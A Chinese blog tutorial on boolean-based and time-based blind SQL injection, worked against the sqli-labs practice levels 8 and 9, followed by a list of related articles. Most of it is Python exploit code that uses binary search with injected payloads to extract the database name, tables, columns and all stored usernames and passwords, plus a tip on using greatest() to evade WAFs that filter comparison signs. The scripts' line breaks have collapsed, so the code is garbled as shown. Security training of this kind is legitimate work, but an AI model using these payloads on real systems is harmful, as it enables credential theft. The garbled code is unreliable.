二分查找sql时间盲注,布尔盲注

embedded/2025/2/18 10:04:36/

目录

一:基础知识引导

数据库:information_schema里面记录着数据库的所有元信息

二,布尔盲注,时间盲注

sqli-labs%E7%AC%AC%E5%85%AB%E5%85%B3%E4%B8%BA%E4%BE%8B%EF%BC%89%EF%BC%9A-toc" name="tableOfContents" style="margin-left:40px">(1)布尔盲注案例(以sqli-labs第八关为例):

sqli-labs%E7%AC%AC%E4%B9%9D%E5%85%B3%E4%B8%BA%E4%BE%8B%EF%BC%89%EF%BC%9A-toc" name="tableOfContents" style="margin-left:40px">(2)时间盲注案例(以sqli-labs第九关为例):


一:基础知识引导

数据库:information_schema里面记录着数据库的所有元信息

use information_schema;

schemata表,记录着所有数据库(schema_name数据库的名称)

select schema_name from schemata;

tables表,记录着所有表(重要字段:table_schema所属的数据库,table_name数据表的名称)

select table_name from tables where table_schema = "security"; 查找数据库”security“的所有表

columns表,记录着所有字段(列)(table_schema所属数据库,table_name数据表的名称,column_name列名称)

select column_name from columns where table_schema="security" and table_name="users";查找数据库为“security”,表为“users”的所有字段名称

二,布尔盲注,时间盲注

特征:

1,其实这两个盲注本质上是一样的,两个盲注都是页面没有回显(报错回显,查询结果回显

2,布尔盲注是sql执行结果正确和错误显示的页面不一样,可以从返回页面的情况来进行判断。时间盲注则是sql执行结果正确与否显示的页面都一样,但是确实存在sql注入的情况,此时可以使用if(条件,sleep(3),)对是否沉睡三秒来进行判断

sqli-labs%E7%AC%AC%E5%85%AB%E5%85%B3%E4%B8%BA%E4%BE%8B%EF%BC%89%EF%BC%9A" name="%EF%BC%881%EF%BC%89%E5%B8%83%E5%B0%94%E7%9B%B2%E6%B3%A8%E6%A1%88%E4%BE%8B%EF%BC%88%E4%BB%A5sqli-labs%E7%AC%AC%E5%85%AB%E5%85%B3%E4%B8%BA%E4%BE%8B%EF%BC%89%EF%BC%9A">(1)布尔盲注案例(以sqli-labs第八关为例):

可以看到对sql查询有结果的话显示的页面是"You are in...........",没结果则不显示,此时可以使用sqlmap软件去进行盲注查找,也可以使用sql脚本去遍历查找自己所需的值。

python脚本代码:

import requests# URL = "http://localhost/Less-8/"
# paload = {"id":"1' and ascii(substr(database(),1,1))=115 -- "}
# res = requests.get(url=URL,params=paload)
# if "You are in" in res.text:
#     print("yes")
# else:
#     print("no")
def get_database(URL):# 获取数据库名称s = ""for i in range(1,10):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"id": f"1' and greatest(ascii(substr(database(),{i},1)),{mid})={mid} -- "}#相当于第一个字符<={mid}条件判断为真res = requests.get(url=URL, params=paload)if "You are in" in res.text:hight = midmid = (low + hight) // 2else:low = mid +1mid = (low + hight) // 2s+=chr(mid)print("数据库名称:"+s)def get_table(URL):# 获取表名称s = ""for i in range(1,32):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"id": f"1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid} -- "}res = requests.get(url=URL, params=paload)if "You are in" in res.text:low = mid +1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s+=chr(mid)print("表的名称:"+s)def get_column(URL):# 获取管理员的字段名称s = ""for i in range(1,32):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"id": f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid} -- "}res = requests.get(url=URL, params=paload)if "You are in" in res.text:low = mid +1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s+=chr(mid)print("列的名称:"+s)def get_result(URl):# 获取用户名和密码信息s = ""for i in range(1,32):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"id": f"1' and ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid} -- "}res = requests.get(url=URL, params=paload)if "You are in" in res.text:low = mid +1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s+=chr(mid)print("用户名及密码信息:"+s)if __name__ == '__main__':URL = "http://localhost/Less-8/"# get_database(URL)# get_table(URL)# get_column(URL)get_result(URL)

执行结果:

这里我只遍历了32位,有需要可以增加。

sqli-labs%E7%AC%AC%E4%B9%9D%E5%85%B3%E4%B8%BA%E4%BE%8B%EF%BC%89%EF%BC%9A" name="%EF%BC%882%EF%BC%89%E6%97%B6%E9%97%B4%E7%9B%B2%E6%B3%A8%E6%A1%88%E4%BE%8B%EF%BC%88%E4%BB%A5sqli-labs%E7%AC%AC%E4%B9%9D%E5%85%B3%E4%B8%BA%E4%BE%8B%EF%BC%89%EF%BC%9A">(2)时间盲注案例(以sqli-labs第九关为例):

php代码:

可以看出无论sql正确与否,查到或者未查到显示的页面都是一样的,但是还是存在时间盲注:可以用if(1=1,sleep(3),1)测试一下

此时,浏览器上方转圈圈转了三秒,说明存在时间盲注,此时用python脚本遍历的方法大致跟布尔盲注一样,只需要将sql条件注入写到if()中1=1的位置即可。然后根据浏览器获得页面的前后时间进行判断。

python脚本代码:

import requests
import datetime
# URL = "http://localhost/Less-8/"
# paload = {"id":"1' and ascii(substr(database(),1,1))=115 -- "}
# res = requests.get(url=URL,params=paload)
# if "You are in" in res.text:
#     print("yes")
# else:
#     print("no")
def get_database(URL):# 获取数据库名称s = ""for i in range(1,10):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"id": f"1' and if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),sleep(3),1) -- "}#相当于第一个字符<={mid}条件判断为真start = datetime.datetime.now()res = requests.get(url=URL, params=paload)end = datetime.datetime.now()if (end - start).seconds >=3:hight = midmid = (low + hight) // 2else:low = mid +1mid = (low + hight) // 2s+=chr(mid)print("数据库名称:"+s)def get_table(URL):# 获取表名称s = ""for i in range(1,32):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"id": f"1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),sleep(3),1) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=paload)end = datetime.datetime.now()if (end - start).seconds >=3:low = mid +1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s+=chr(mid)print("表的名称:"+s)def get_column(URL):# 获取管理员的字段名称s = ""for i in range(1,32):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"id": f"1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),sleep(3),1) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=paload)end = datetime.datetime.now()if (end - start).seconds >=3:low = mid +1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s+=chr(mid)print("列的名称:"+s)def get_result(URl):# 获取用户名和密码信息s = ""for i in range(1,32):low = 32hight = 128mid = (low+hight)//2while(hight > low):paload = {"id": f"1' and if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),sleep(3),1) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=paload)end = datetime.datetime.now()if (end - start).seconds >=3:low = mid +1mid = (low + hight) // 2else:hight = midmid = (low + hight) // 2s+=chr(mid)print("用户名及密码信息:"+s)if __name__ == '__main__':URL = "http://localhost/Less-9/"get_database(URL)# get_table(URL)# get_column(URL)# get_result(URL)

结果:

上面两个python脚本代码的第一个获取数据库的函数,sql语句注入用到了greatest函数,可用来绕过过滤掉<>的waf


http://www.ppmy.cn/embedded/162074.html

相关文章

什么是双核锁步

总结一下&#xff0c;双核锁步应该是一种通过两个核心同步执行相同任务并实时比较结果&#xff0c;以检测和处理错误的高可靠性技术&#xff0c;主要应用于对安全性要求极高的领域。其核心在于冗余和实时比较&#xff0c;确保系统在出现故障时能够及时检测并采取应对措施。 双…

软考高级《系统架构设计师》知识点(一)

计算机硬件 校验码 码距&#xff1a;就单个编码A:00而言&#xff0c;其码距为1&#xff0c;因为其只需要改变一位就变成另一个编码。在两个编码中&#xff0c;从A码到B码转换所需要改变的位数称为码距&#xff0c;如A:00要转换为B:11&#xff0c;码距为2。一般来说&#xff0c;…

vs构建网络安全系统 网络安全和网络搭建

网站的组成和搭建 网站由服务器&#xff0c;容器&#xff0c;脚本&#xff0c;数据库组成。 服务器和家庭电脑一样。 容器又为环境或服务&#xff1a;apache&#xff0c;lls&#xff0c;tomcat&#xff0c;nginx等 脚本&#xff1a;php&#xff0c;aspx&#xff0c;asp&#x…

咸鱼换绑手机号能换ip属地吗?深入探讨

随着移动互联网的普及&#xff0c;手机已经成为我们日常生活中不可或缺的一部分。而在各种网络应用中&#xff0c;手机号码往往扮演着重要的角色&#xff0c;它不仅是身份验证的关键&#xff0c;还关联着用户的地理位置信息。在二手交易平台如闲鱼上&#xff0c;用户的手机号和…

2025年智慧城市解决方案下载:AI-超脑中台,体系架构整体设计

2025年&#xff0c;随着人工智能、物联网、大数据等新兴技术的深度融合&#xff0c;智慧城市解决方案正迈向更高层次的智能化和协同化阶段。其中&#xff0c;AI-超脑中台作为核心架构的一部分&#xff0c;为城市智能化运行提供了强大支撑。 智慧城市最新解决方案&#xff0c;标…

Can 1B LLM Surpass 405B LLM? Rethinking Compute-Optimal Test-Time Scaling 论文简介

小模型逆袭大模型&#xff1f;重新思考最优测试时计算扩展 近年来&#xff0c;大型语言模型&#xff08;LLMs&#xff09;在数学推理、代码生成等复杂任务上展现出惊人能力。然而&#xff0c;模型规模的爆炸式增长带来了高昂的计算成本&#xff0c;使得部署千亿参数模型成为许…

day9手机创意软件

趣味类 in:记录趣味生活&#xff08;通用&#xff09; 魔漫相机&#xff1a;真人变漫画&#xff08;通用&#xff09; 活照片&#xff1a;让照片活过来&#xff08;通用&#xff09; 画中画相机&#xff1a;与众不同的艺术 年龄检测仪&#xff1a;比一比谁更年轻&#xf…

时间盲注和boolen盲注中获取表,列以及具体数据的函数

import requests import time# 创建会话对象&#xff0c;用于保持与目标服务器的会话状态&#xff0c;便于多次请求 session requests.session() # 目标URL&#xff0c;是存在SQL注入漏洞的页面地址 url "http://127.0.0.1/sqlilabs/Less-8/index.php"# 通过布尔盲…